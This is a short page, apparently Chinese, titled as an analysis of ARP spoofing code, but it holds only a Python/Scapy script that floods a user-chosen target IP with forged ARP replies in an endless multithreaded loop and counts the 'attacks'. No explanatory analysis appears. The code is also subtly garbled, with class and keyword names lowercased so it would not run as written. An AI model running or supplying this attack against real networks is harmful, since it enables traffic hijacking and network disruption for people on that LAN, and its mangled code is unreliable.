python发送arp欺骗攻击代码分析

# -*- coding: cp936 -*-
from scapy.all import *
from threading import thread,lock,activecount

broadcastmac = getmacbyip('192.168.0.120')

class loop(thread):
    def __init__(self,ip):
        thread.__init__(self)
        self.ip = ip

    def run(self):
        global broadcastmac
        arp = arp()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = broadcastmac
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class main(thread):
    def __init__(self,ip):
        thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while true:
            if activecount() < limit:
                loop(self.ip).start()
                total = total + 1
            print '目前已进行了arp攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行arp攻击的机器ip:')

    main(ip = ip).start()